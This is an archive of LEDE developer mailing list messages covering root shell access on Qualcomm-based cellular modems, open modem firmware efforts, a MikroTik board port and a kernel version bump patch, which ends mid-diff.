From: bjorn at mork.no (=?utf-8?Q?Bj=C3=B8rn_Mork?=)
Date: Mon, 09 Jan 2017 10:01:18 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
 Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3,
 v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <20170109000139.GE5048@ibawizard.net> ("Petr =?utf-8?Q?=C5=A0?=
 =?utf-8?Q?tetiar=22's?= message
 of "Mon, 9 Jan 2017 01:01:39 +0100")
References: <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net>
 <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net>
 <87zij1jj8z.fsf@miraculix.mork.no>
 <20170109000139.GE5048@ibawizard.net>
Message-ID: <87vatoehep.fsf@miraculix.mork.no>

Petr ?tetiar <ynezz at true.cz> writes:
> Bj?rn Mork <bjorn at mork.no> [2017-01-08 23:10:20]:
>
>> The output above comes from the Sierra Wireless EM7455 originally delivered
>> as part of my Lenovo X1 Carbon, running bog standard firmare.
>
> Oops. How did you get into the shell of your modem? Is it a root shell also?

Sierra Wireless uses a bitmapped NVRAM variable to tell the system
which functions to enable. One of these functions is 'adb'. They also
implement an AT command to set this variable, but you cannot enable
'adb' there anymore (or maybe you can, using some other password?).

This AT command help text is taken from an old memory dump:

#AT!USBCOMP=<Config Index>,<Config Type>,<Interface bitmask>
#  <Config Index>      - configuration index to which the composition applies, should be 1
#  <Config Type>       - 1:Generic, 2:USBIF-MBIM, 3:RNDIS
#                        config type 2/3 should only be used for specific Sierra PIDs: 68B1, 9068
#                        customized VID/PID should use config type 1
#  <Interface bitmask> - DIAG     - 0x00000001,
#                        ADB      - 0x00000002,
#                        NMEA     - 0x00000004,
#                        MODEM    - 0x00000008,
#                        RMNET0   - 0x00000100,
#                        RMNET1   - 0x00000400,
#                        RMNET2   - 0x00000800,
#                        MBIM     - 0x00001000,
#                        RNDIS    - 0x00004000,
#                        AUDIO    - 0x00010000,
#                        ECM      - 0x00080000,
#                        UBIST    - 0x00200000


There are other ways to set this and other variables, so the AT comand
interpreter restriction is not a show stopper.  Note that there are
invalid gadget combinations, so you can softbrick the modem by changing
this variable.

Anyway, this is not Android and you don't have the Android user
separation. Everything runs as root by default, including adbd. If you
enable the adb gadget, then you have a root shell.



Bj?rn



From laforge at gnumonks.org  Mon Jan  9 01:04:51 2017
From: laforge at gnumonks.org (Harald Welte)
Date: Mon, 9 Jan 2017 10:04:51 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
 Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3,
 v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <20170108192623.GD5048@ibawizard.net>
References: <877f7asbft.fsf@miraculix.mork.no>
 <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net>
 <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net>
Message-ID: <20170109090451.ru3esphxj4eow6rk@nataraja>

Hi Petr,

On Sun, Jan 08, 2017 at 08:26:23PM +0100, Petr ?tetiar wrote:
> Indeed, it's very interesting and very scary. This modems are quite powerful
> devices, usually equiped with very good, but limited uplink connection, still
> making it ideal candidate for DDoS botnet for example, like any other router,

I agree. In days of LTE and LTE-A, the connectivity of cellular modems
is sometimes better than that of DSL-modems/routers ;)

> It's just a matter of time we see something like this in the wild.

Equally agreed.

> The probability is very high, 1.5M lines of just kernel code done
> probably in a hurry, without proper review, this is very big attack surface.

The kernel code is the same (or close to?) what is in all the Qualcomm
based Android devices.  That could mean a lot of things, among them that
Google Project Zero guys or other people doing android security might
find issues.  But i could also mean that the attack surfaces is much
larger than those modems ;)

> Guys at Osmocom already started working on completely open and more secure
> firmware using OpenEmbedded, but I would like to see it supported in LEDE
> also, probably with more mainline kernel if possible. 

Our goal at this point is not to modify / strip down the kernel.  The
primary goals at this point are:
a) more work on osmo-cqdiag and my wiershark DIAG protocol decoder
b) establish libqmi-glib interoperability with qmuxd
c) gradually replace existing proprietary userspace programs
d) build custom images + package feeds from OE/poky.
e) understand + document more parts of the Qualcomm Android Kernel

> Still, it's quite strange to see such a big embedded systems running
> in the 4G modem. It seems like 2017 is era of SITSes, Systems In The
> Systems.

I wanted to state this in my talk, but forgot: If software complexity
continues ti increase in cellular modems like we have seen it increase
in the 2006-2016 timeframe, then in ten years we will have
virtualization with orchestration managers in them.

I think the main problem is that 32bit CPU cores with MMU and memory is
getting so small and cheap cheap, that people just put full-blown Linux
systems everywhere.  Whether it makes sense, and how to maintain that in
the long term is apparently no concern.

Regards,
	Harald
-- 
- Harald Welte <laforge at gnumonks.org>           http://laforge.gnumonks.org/
============================================================================
"Privacy in residential applications is a desirable marketing option."
                                                  (ETSI EN 300 175-7 Ch. A6)


From laforge at gnumonks.org  Mon Jan  9 01:12:35 2017
From: laforge at gnumonks.org (Harald Welte)
Date: Mon, 9 Jan 2017 10:12:35 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
 Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3,
 v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <87zij1jj8z.fsf@miraculix.mork.no>
References: <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net>
 <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net>
 <87zij1jj8z.fsf@miraculix.mork.no>
Message-ID: <20170109091235.pe7zpf6udd6xjk5r@nataraja>

Hi Bjorn,

On Sun, Jan 08, 2017 at 11:10:20PM +0100, Bj?rn Mork wrote:
> Note that there is nothing Quectel here.  This is a standard Qualcomm
> platform.  The output above comes from the Sierra Wireless EM7455
> originally delivered as part of my Lenovo X1 Carbon, running bog
> standard firmare.

Would you mind sharing information how to access the shell?  It would be
great to add some wiki pages on the Sierra Wireless modems to our wiki
at https://osmocom.org/projects/quectel-modems/wiki (which despite the
URL contains a lot of information that's not quectel specific).

> And IMHO it's rather pointless unless you do something about the
> "baseband" image. Which is probably not feasible due to the complete
> lack of any source code or documentation from Qualcomm.

Side Note: There have been a surprising number of source code leaks for
qualcomm baseband processors during the last decade, but they of course
are only for one specific chipset / device at a time, often are
difficult to impossible to build - and most importantly nothing that you
can legally ever use or distribute.

Also, I don't think it is pointless.  Improving security and removing
attack surface is always useful, even if you cannot resolve all problems
at once.

-- 
- Harald Welte <laforge at gnumonks.org>           http://laforge.gnumonks.org/
============================================================================
"Privacy in residential applications is a desirable marketing option."
                                                  (ETSI EN 300 175-7 Ch. A6)


From nbd at nbd.name  Mon Jan  9 01:49:12 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Mon, 9 Jan 2017 10:49:12 +0100
Subject: [LEDE-DEV] questions about RB953GS on LEDE
In-Reply-To: <1fd7b133-8eb6-68da-fc0c-7a8f4b7edfbb@altermundi.net>
References: <1fd7b133-8eb6-68da-fc0c-7a8f4b7edfbb@altermundi.net>
Message-ID: <e1a086f9-c220-262f-170b-98a8d65dcad5@nbd.name>

Hey Gui!

On 2017-01-09 01:09, Gui Iribarren wrote:
> So, I have two issues with porting LEDE to this mikrotik board
> (patch just sent in another thread)
> 
> on one hand, console is not initialized properly in the default
> initramfs.elf
> 
> the kernel cmdline is missing "console=ttyS0,115200", and so the console
> is disabled during boot.
> 
> to workaround it, i did this:
> 
> index 04e74d9..aa032c3 100644
> --- a/target/linux/ar71xx/mikrotik/config-default
> +++ b/target/linux/ar71xx/mikrotik/config-default
> @@ -133,7 +133,7 @@ CONFIG_ATH79_MACH_RBSXTLITE=y
>  # CONFIG_ATH79_MACH_ZCN_1523H is not set
>  # CONFIG_ATH79_NVRAM is not set
>  CONFIG_ATH79_ROUTERBOOT=y
> -CONFIG_CMDLINE="rootfstype=yaffs noinitrd"
> +CONFIG_CMDLINE="rootfstype=yaffs noinitrd  console=ttyS0,115200"
>  CONFIG_GPIO_74X164=y
>  CONFIG_GPIO_LATCH=y
>  # CONFIG_JFFS2_FS is not set
> 
> but clearly that's not upstreamable :P
> 
> possibly i should update this file?
> target/linux/ar71xx/patches-4.4/701-MIPS-ath79-add-routerboard-detection.patch
> but since it's a patch, i guess i should use quilt (am i on the right
> track?)
Yes, that's exactly what you should do.

> on the other hand, the mtd partitions are apparently not being detected?
> (this is the first time i run openwrt/lede on a mikrotik)
> here's the complete bootlog, and the last two lines show only mtd0
> http://pastebin.com/uxRzvt0D
> 
> while according to this
> https://wiki.openwrt.org/toh/mikrotik/common
> 
> i should be seeing at least kernel and rootfs
> 
> any pointers?
It's not an issue with partitions at all, the problem starts earlier:
The kernel does not detect any NAND flash device. If this thing is like
the other RouterBoard devices, you either need to use one of the
existing rb*_nand.c drivers, or (if they don't work) make a new one. For
that, you need to pass the appropriate platform data.
With a bit of luck, this one will be similar to the RB912 device that I
worked on yesterday, you might be able to copy some code from mach-rb91x.c.

By the way, the tree your work with for your changes should be my
staging tree:
https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
In that tree, I've finished the conversion of ar71xx/mikrotik to UBI
yesterday, which simplifies handling of the NAND flash stuff a lot.

- Felix


From koen.vandeputte at ncentric.com  Mon Jan  9 02:31:34 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Mon, 9 Jan 2017 11:31:34 +0100
Subject: [LEDE-DEV] [PATCH v2] cns3xxx: remove deprecated mpcore
 watchdog device
In-Reply-To: <455f260e-50b2-1504-f123-360b5f697aa2@nbd.name>
References: <1483906465-4178-1-git-send-email-koen.vandeputte@ncentric.com>
 <455f260e-50b2-1504-f123-360b5f697aa2@nbd.name>
Message-ID: <8d839c73-2432-d8c5-1059-fc801e9be77a@ncentric.com>



On 2017-01-08 21:27, Felix Fietkau wrote:
> On 2017-01-08 21:14, Koen Vandeputte wrote:
>> This code was exclusively used by the mpcore_wdt
>> driver which got removed from the kernel mid 2013.
>>
>> https://www.spinics.net/lists/linux-watchdog/msg02724.html
>>
>> Tested on Laguna GW2388
>>
>> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
> Interesting. I hadn't noticed that the driver got removed. Instead of
> removing this, I'd prefer to restore the watchdog driver instead.
Even better :)

To ensure we are on the same track:
--> Locally in LEDE or upstream in kernel?
> It seems that the IRQ that they were talking about is completely
> irrelevant and used for testing mode only, so theoretically it should be
> easy to make this driver work again.
- Felix

-- 
Koen Vandeputte - Software Developer
koen.vandeputte at ncentric.com | +32499736158



From koen.vandeputte at ncentric.com  Mon Jan  9 02:46:31 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Mon,  9 Jan 2017 11:46:31 +0100
Subject: [LEDE-DEV] [PATCH] kernel: bump to 4.4.41
Message-ID: <1483958791-21472-1-git-send-email-koen.vandeputte@ncentric.com>

Refresh patches for all 4.4 supported targets.
Compile & run tested: cns3xxx

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 include/kernel-version.mk                                    |  4 ++--
 ...lk-bcm2835-add-a-round-up-ability-to-the-clock-divi.patch |  6 +++---
 ...0253-clk-bcm2835-Support-for-clock-parent-selection.patch |  8 ++++----
 .../patches-4.4/0254-clk-bcm2835-Add-PWM-clock-support.patch |  2 +-
 ...lk-bcm2835-correctly-enable-fractional-clock-suppor.patch |  6 +++---
 .../0257-clk-bcm2835-clean-up-coding-style-issues.patch      |  4 ++--
 ...-clk-bcm2835-expose-raw-clock-registers-via-debugfs.patch | 10 +++++-----
 ...lk-bcm2835-remove-use-of-BCM2835_CLOCK_COUNT-in-dri.patch |  4 ++--
 ...lk-bcm2835-reorganize-bcm2835_clock_array-assignmen.patch |  4 ++--
 .../0261-clk-bcm2835-enable-management-of-PCM-clock.patch    |  2 +-
 .../0262-clk-bcm2835-add-missing-PLL-clock-dividers.patch    |  4 ++--
 .../0263-clk-bcm2835-add-missing-osc-and-per-clocks.patch    | 12 ++++++------
 .../0345-clk-bcm2835-Mark-the-VPU-clock-as-critical.patch    |  4 ++--
 ...lk-bcm2835-Mark-GPIO-clocks-enabled-at-boot-as-crit.patch |  4 ++--
 ...lk-bcm2835-Skip-PLLC-clocks-when-deciding-on-a-new-.patch |  4 ++--
 ...lk-bcm2835-Mark-the-CM-SDRAM-clock-s-parent-as-crit.patch |  6 +++---
 ...lk-bcm2835-Don-t-rate-change-PLLs-on-behalf-of-divi.patch |  2 +-
 ...lk-bcm2835-Do-appropriate-name-lookups-for-DSI1-s-p.patch |  6 +++---
 ...34-clk-bcm2835-Add-an-enum-for-the-DSI1-pixel-clock.patch |  8 ++++----
 19 files changed, 50 insertions(+), 50 deletions(-)

diff --git a/include/kernel-version.mk b/include/kernel-version.mk
index faf0e23..1c12faf 100644
--- a/include/kernel-version.mk
+++ b/include/kernel-version.mk
@@ -4,11 +4,11 @@ LINUX_RELEASE?=1
 
 LINUX_VERSION-3.18 = .43
 LINUX_VERSION-4.1 = .34
-LINUX_VERSION-4.4 = .40
+LINUX_VERSION-4.4 = .41
 
 LINUX_KERNEL_HASH-3.18.43 = 1236e8123a6ce537d5029232560966feed054ae31776fe8481dd7d18cdd5492c
 LINUX_KERNEL_HASH-4.1.34 = 412316b32b5c7a513ba3ab8e68fc443db4d9423f07b577473089def0ee7406af
-LINUX_KERNEL_HASH-4.4.40 = c4bc5ed6e73ed7393cc1b3714b822664224ab866db114eed663de1315718a4e1
+LINUX_KERNEL_HASH-4.4.41 = 8a6d847f5ffa3188d5c9d266ebaca5bb77c8af7637bd3bf74ab6747d5e7646fc
 
 ifdef KERNEL_PATCHVER
   LINUX_VERSION:=$(KERNEL_PATCHVER)$(strip $(LINUX_VERSION-$(KERNEL_PATCHVER)))
diff --git a/target/linux/brcm2708/patches-4.4/0252-clk-bcm2835-add-a-round-up-ability-to-the-clock-divi.patch b/target/linux/brcm2708/patches-4.4/0252-clk-bcm2835-add-a-round-up-ability-to-the-clock-divi.patch
index b0f6777..b9b139c 100644
--- a/target/linux/brcm2708/patches-4.4/0252-clk-bcm2835-add-a-round-up-ability-to-the-clock-divi.patch
+++ b/target/linux/brcm2708/patches-4.4/0252-clk-bcm2835-add-a-round-up-ability-to-the-clock-divi.patch
@@ -16,7 +16,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1164,22 +1164,24 @@ static int bcm2835_clock_is_on(struct cl
+@@ -1166,22 +1166,24 @@ static int bcm2835_clock_is_on(struct cl
  
  static u32 bcm2835_clock_choose_div(struct clk_hw *hw,
  				    unsigned long rate,
@@ -49,7 +49,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
  
  	/* clamp to min divider of 1 */
  	div = max_t(u32, div, 1 << CM_DIV_FRAC_BITS);
-@@ -1219,7 +1221,7 @@ static long bcm2835_clock_round_rate(str
+@@ -1221,7 +1223,7 @@ static long bcm2835_clock_round_rate(str
  				     unsigned long *parent_rate)
  {
  	struct bcm2835_clock *clock = bcm2835_clock_from_hw(hw);
@@ -58,7 +58,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
  
  	return bcm2835_clock_rate_from_divisor(clock, *parent_rate, div);
  }
-@@ -1288,7 +1290,7 @@ static int bcm2835_clock_set_rate(struct
+@@ -1290,7 +1292,7 @@ static int bcm2835_clock_set_rate(struct
  	struct bcm2835_clock *clock = bcm2835_clock_from_hw(hw);
  	struct bcm2835_cprman *cprman = clock->cprman;
  	const struct bcm2835_clock_data *data = clock->data;
diff --git a/target/linux/brcm2708/patches-4.4/0253-clk-bcm2835-Support-for-clock-parent-selection.patch b/target/linux/brcm2708/patches-4.4/0253-clk-bcm2835-Support-for-clock-parent-selection.patch
index f0907c1..0332be6 100644
--- a/target/linux/brcm2708/patches-4.4/0253-clk-bcm2835-Support-for-clock-parent-selection.patch
+++ b/target/linux/brcm2708/patches-4.4/0253-clk-bcm2835-Support-for-clock-parent-selection.patch
@@ -24,7 +24,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1216,16 +1216,6 @@ static long bcm2835_clock_rate_from_divi
+@@ -1218,16 +1218,6 @@ static long bcm2835_clock_rate_from_divi
  	return temp;
  }
  
@@ -41,7 +41,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
  static unsigned long bcm2835_clock_get_rate(struct clk_hw *hw,
  					    unsigned long parent_rate)
  {
-@@ -1297,13 +1287,75 @@ static int bcm2835_clock_set_rate(struct
+@@ -1299,13 +1289,75 @@ static int bcm2835_clock_set_rate(struct
  	return 0;
  }
  
@@ -118,7 +118,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
  };
  
  static int bcm2835_vpu_clock_is_on(struct clk_hw *hw)
-@@ -1319,7 +1371,9 @@ static const struct clk_ops bcm2835_vpu_
+@@ -1321,7 +1373,9 @@ static const struct clk_ops bcm2835_vpu_
  	.is_prepared = bcm2835_vpu_clock_is_on,
  	.recalc_rate = bcm2835_clock_get_rate,
  	.set_rate = bcm2835_clock_set_rate,
@@ -129,7 +129,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
  };
  
  static struct clk *bcm2835_register_pll(struct bcm2835_cprman *cprman,
-@@ -1413,45 +1467,23 @@ static struct clk *bcm2835_register_cloc
+@@ -1415,45 +1469,23 @@ static struct clk *bcm2835_register_cloc
  {
  	struct bcm2835_clock *clock;
  	struct clk_init_data init;
diff --git a/target/linux/brcm2708/patches-4.4/0254-clk-bcm2835-Add-PWM-clock-support.patch b/target/linux/brcm2708/patches-4.4/0254-clk-bcm2835-Add-PWM-clock-support.patch
index 428a952..aa7bc7d 100644
--- a/target/linux/brcm2708/patches-4.4/0254-clk-bcm2835-Add-PWM-clock-support.patch
+++ b/target/linux/brcm2708/patches-4.4/0254-clk-bcm2835-Add-PWM-clock-support.patch
@@ -33,7 +33,7 @@ Signed-off-by: Michael Turquette <mturquette at baylibre.com>
  struct bcm2835_pll {
  	struct clk_hw hw;
  	struct bcm2835_cprman *cprman;
-@@ -1601,6 +1611,9 @@ static int bcm2835_clk_probe(struct plat
+@@ -1603,6 +1613,9 @@ static int bcm2835_clk_probe(struct plat
  				  cprman->regs + CM_PERIICTL, CM_GATE_BIT,
  				  0, &cprman->regs_lock);
  
diff --git a/target/linux/brcm2708/patches-4.4/0256-clk-bcm2835-correctly-enable-fractional-clock-suppor.patch b/target/linux/brcm2708/patches-4.4/0256-clk-bcm2835-correctly-enable-fractional-clock-suppor.patch
index 737a1a9..80a4ba8 100644
--- a/target/linux/brcm2708/patches-4.4/0256-clk-bcm2835-correctly-enable-fractional-clock-suppor.patch
+++ b/target/linux/brcm2708/patches-4.4/0256-clk-bcm2835-correctly-enable-fractional-clock-suppor.patch
@@ -66,7 +66,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  };
  
  struct bcm2835_pll {
-@@ -1196,7 +1200,7 @@ static u32 bcm2835_clock_choose_div(stru
+@@ -1198,7 +1202,7 @@ static u32 bcm2835_clock_choose_div(stru
  		GENMASK(CM_DIV_FRAC_BITS - data->frac_bits, 0) >> 1;
  	u64 temp = (u64)parent_rate << CM_DIV_FRAC_BITS;
  	u64 rem;
@@ -75,7 +75,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  
  	rem = do_div(temp, rate);
  	div = temp;
-@@ -1206,11 +1210,23 @@ static u32 bcm2835_clock_choose_div(stru
+@@ -1208,11 +1212,23 @@ static u32 bcm2835_clock_choose_div(stru
  		div += unused_frac_mask + 1;
  	div &= ~unused_frac_mask;
  
@@ -104,7 +104,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  
  	return div;
  }
-@@ -1304,9 +1320,26 @@ static int bcm2835_clock_set_rate(struct
+@@ -1306,9 +1322,26 @@ static int bcm2835_clock_set_rate(struct
  	struct bcm2835_cprman *cprman = clock->cprman;
  	const struct bcm2835_clock_data *data = clock->data;
  	u32 div = bcm2835_clock_choose_div(hw, rate, parent_rate, false);
diff --git a/target/linux/brcm2708/patches-4.4/0257-clk-bcm2835-clean-up-coding-style-issues.patch b/target/linux/brcm2708/patches-4.4/0257-clk-bcm2835-clean-up-coding-style-issues.patch
index 94f75ed..5a4ae3c 100644
--- a/target/linux/brcm2708/patches-4.4/0257-clk-bcm2835-clean-up-coding-style-issues.patch
+++ b/target/linux/brcm2708/patches-4.4/0257-clk-bcm2835-clean-up-coding-style-issues.patch
@@ -33,7 +33,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  	const char *osc_name;
  
  	struct clk_onecell_data onecell;
-@@ -1344,7 +1341,7 @@ static int bcm2835_clock_set_rate(struct
+@@ -1346,7 +1343,7 @@ static int bcm2835_clock_set_rate(struct
  }
  
  static int bcm2835_clock_determine_rate(struct clk_hw *hw,
@@ -42,7 +42,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
  {
  	struct bcm2835_clock *clock = bcm2835_clock_from_hw(hw);
  	struct clk_hw *parent, *best_parent = NULL;
-@@ -1402,7 +1399,6 @@ static u8 bcm2835_clock_get_parent(struc
+@@ -1404,7 +1401,6 @@ static u8 bcm2835_clock_get_parent(struc
  	return (src & CM_SRC_MASK) >> CM_SRC_SHIFT;
  }
  
diff --git a/target/linux/brcm2708/patches-4.4/0258-clk-bcm2835-expose-raw-clock-registers-via-debugfs.patch b/target/linux/brcm2708/patches-4.4/0258-clk-bcm2835-expose-raw-clock-registers-via-debugfs.patch
index b61bd04..98f08c2 100644
--- a/target/linux/brcm2708/patches-4.4/0258-clk-bcm2835-expose-raw-clock-registers-via-debugfs.patch
+++ b/target/linux/brcm2708/patches-4.4/0258-clk-bcm2835-expose-raw-clock-registers-via-debugfs.patch
@@ -103,7 +103,7 @@ Acked-by: Eric Anholt <eric at anholt.net>
  };
  
  struct bcm2835_pll_divider {
-@@ -1151,6 +1204,26 @@ static int bcm2835_pll_divider_set_rate(
+@@ -1153,6 +1206,26 @@ static int bcm2835_pll_divider_set_rate(
  	return 0;
  }
  
@@ -130,7 +130,7 @@ Acked-by: Eric Anholt <eric at anholt.net>
  static const struct clk_ops bcm2835_pll_divider_clk_ops = {
  	.is_prepared = bcm2835_pll_divider_is_on,
  	.prepare = bcm2835_pll_divider_on,
-@@ -1158,6 +1231,7 @@ static const struct clk_ops bcm2835_pll_
+@@ -1160,6 +1233,7 @@ static const struct clk_ops bcm2835_pll_
  	.recalc_rate = bcm2835_pll_divider_get_rate,
  	.set_rate = bcm2835_pll_divider_set_rate,
  	.round_rate = bcm2835_pll_divider_round_rate,
@@ -138,7 +138,7 @@ Acked-by: Eric Anholt <eric at anholt.net>
  };
  
  /*
-@@ -1399,6 +1473,31 @@ static u8 bcm2835_clock_get_parent(struc
+@@ -1401,6 +1475,31 @@ static u8 bcm2835_clock_get_parent(struc
  	return (src & CM_SRC_MASK) >> CM_SRC_SHIFT;
  }
  
@@ -170,7 +170,7 @@ Acked-by: Eric Anholt <eric at anholt.net>
  static const struct clk_ops bcm2835_clock_clk_ops = {
  	.is_prepared = bcm2835_clock_is_on,
  	.prepare = bcm2835_clock_on,
-@@ -1408,6 +1507,7 @@ static const struct clk_ops bcm2835_cloc
+@@ -1410,6 +1509,7 @@ static const struct clk_ops bcm2835_cloc
  	.determine_rate = bcm2835_clock_determine_rate,
  	.set_parent = bcm2835_clock_set_parent,
  	.get_parent = bcm2835_clock_get_parent,
@@ -178,7 +178,7 @@ Acked-by: Eric Anholt <eric at anholt.net>
  };
  
  static int bcm2835_vpu_clock_is_on(struct clk_hw *hw)
-@@ -1426,6 +1526,7 @@ static const struct clk_ops bcm2835_vpu_
+@@ -1428,6 +1528,7 @@ static const struct clk_ops bcm2835_vpu_
  	.determine_rate = bcm2835_clock_determine_rate,
  	.set_parent = bcm2835_clock_set_parent,
  	.get_parent = bcm2835_clock_get_parent,
diff --git a/target/linux/brcm2708/patches-4.4/0259-clk-bcm2835-remove-use-of-BCM2835_CLOCK_COUNT-in-dri.patch b/target/linux/brcm2708/patches-4.4/0259-clk-bcm2835-remove-use-of-BCM2835_CLOCK_COUNT-in-dri.patch
index a8b36ae..58a4c5d 100644
--- a/target/linux/brcm2708/patches-4.4/0259-clk-bcm2835-remove-use-of-BCM2835_CLOCK_COUNT-in-dri.patch
+++ b/target/linux/brcm2708/patches-4.4/0259-clk-bcm2835-remove-use-of-BCM2835_CLOCK_COUNT-in-dri.patch
@@ -56,7 +56,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  struct bcm2835_pll {
  	struct clk_hw hw;
  	struct bcm2835_cprman *cprman;
-@@ -1658,14 +1677,81 @@ static struct clk *bcm2835_register_cloc
+@@ -1660,14 +1679,81 @@ static struct clk *bcm2835_register_cloc
  	return devm_clk_register(cprman->dev, &clock->hw);
  }
  
@@ -139,7 +139,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  	if (!cprman)
  		return -ENOMEM;
  
-@@ -1682,80 +1768,15 @@ static int bcm2835_clk_probe(struct plat
+@@ -1684,80 +1770,15 @@ static int bcm2835_clk_probe(struct plat
  
  	platform_set_drvdata(pdev, cprman);
  
diff --git a/target/linux/brcm2708/patches-4.4/0260-clk-bcm2835-reorganize-bcm2835_clock_array-assignmen.patch b/target/linux/brcm2708/patches-4.4/0260-clk-bcm2835-reorganize-bcm2835_clock_array-assignmen.patch
index 712e14f..0f1ad86 100644
--- a/target/linux/brcm2708/patches-4.4/0260-clk-bcm2835-reorganize-bcm2835_clock_array-assignmen.patch
+++ b/target/linux/brcm2708/patches-4.4/0260-clk-bcm2835-reorganize-bcm2835_clock_array-assignmen.patch
@@ -473,7 +473,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  struct bcm2835_pll {
  	struct clk_hw hw;
  	struct bcm2835_cprman *cprman;
-@@ -1594,7 +1177,7 @@ bcm2835_register_pll_divider(struct bcm2
+@@ -1596,7 +1179,7 @@ bcm2835_register_pll_divider(struct bcm2
  
  	memset(&init, 0, sizeof(init));
  
@@ -482,7 +482,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  	init.num_parents = 1;
  	init.name = divider_name;
  	init.ops = &bcm2835_pll_divider_clk_ops;
-@@ -1693,50 +1276,401 @@ struct bcm2835_clk_desc {
+@@ -1695,50 +1278,401 @@ struct bcm2835_clk_desc {
  	const void *data;
  };
  
diff --git a/target/linux/brcm2708/patches-4.4/0261-clk-bcm2835-enable-management-of-PCM-clock.patch b/target/linux/brcm2708/patches-4.4/0261-clk-bcm2835-enable-management-of-PCM-clock.patch
index edf85d6..01dd778 100644
--- a/target/linux/brcm2708/patches-4.4/0261-clk-bcm2835-enable-management-of-PCM-clock.patch
+++ b/target/linux/brcm2708/patches-4.4/0261-clk-bcm2835-enable-management-of-PCM-clock.patch
@@ -17,7 +17,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1638,6 +1638,13 @@ static const struct bcm2835_clk_desc clk
+@@ -1640,6 +1640,13 @@ static const struct bcm2835_clk_desc clk
  		.div_reg = CM_HSMDIV,
  		.int_bits = 4,
  		.frac_bits = 8),
diff --git a/target/linux/brcm2708/patches-4.4/0262-clk-bcm2835-add-missing-PLL-clock-dividers.patch b/target/linux/brcm2708/patches-4.4/0262-clk-bcm2835-add-missing-PLL-clock-dividers.patch
index 58fb0e2..33d7937 100644
--- a/target/linux/brcm2708/patches-4.4/0262-clk-bcm2835-add-missing-PLL-clock-dividers.patch
+++ b/target/linux/brcm2708/patches-4.4/0262-clk-bcm2835-add-missing-PLL-clock-dividers.patch
@@ -14,7 +14,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
 
 --- a/drivers/clk/bcm/clk-bcm2835.c
 +++ b/drivers/clk/bcm/clk-bcm2835.c
-@@ -1387,6 +1387,22 @@ static const struct bcm2835_clk_desc clk
+@@ -1389,6 +1389,22 @@ static const struct bcm2835_clk_desc clk
  		.load_mask = CM_PLLA_LOADPER,
  		.hold_mask = CM_PLLA_HOLDPER,
  		.fixed_divider = 1),
@@ -37,7 +37,7 @@ Reviewed-by: Eric Anholt <eric at anholt.net>
  
  	/* PLLB is used for the ARM's clock. */
  	[BCM2835_PLLB]		= REGISTER_PLL(
